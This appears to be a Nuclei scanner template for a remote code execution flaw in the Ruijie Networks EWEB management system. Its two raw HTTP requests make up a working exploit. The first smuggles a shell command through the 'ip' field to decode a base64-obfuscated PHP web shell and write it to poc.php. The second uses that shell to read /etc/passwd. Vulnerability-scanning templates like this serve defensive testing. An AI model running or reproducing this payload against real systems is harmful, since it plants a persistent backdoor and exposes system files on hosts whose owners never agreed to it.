id: ruijie-networks-rce

info:
  name: Ruijie Networks-EWEB Network Management System - Remote Code Execution
  author: pikpikcu
  description: Ruijie Networks EWEB Network Management System is susceptible to remote code execution.
  severity: critical
  reference:
    - https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py
    - https://www.ruijienetworks.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
  tags: ruijie,rce,network

requests:
  - raw:
      - |
        POST /guest_auth/guestIsUp.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8

        ip=127.0.0.1|echo "PD9waHAKJGNtZD0kX0dFVFsnY21kJ107CnN5c3RlbSgkY21kKTsKPz4K"|base64 -d > poc.php&mac=00-00

      - |
        GET /guest_auth/poc.php?cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "nobody:x:0:0:"
        part: body

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/03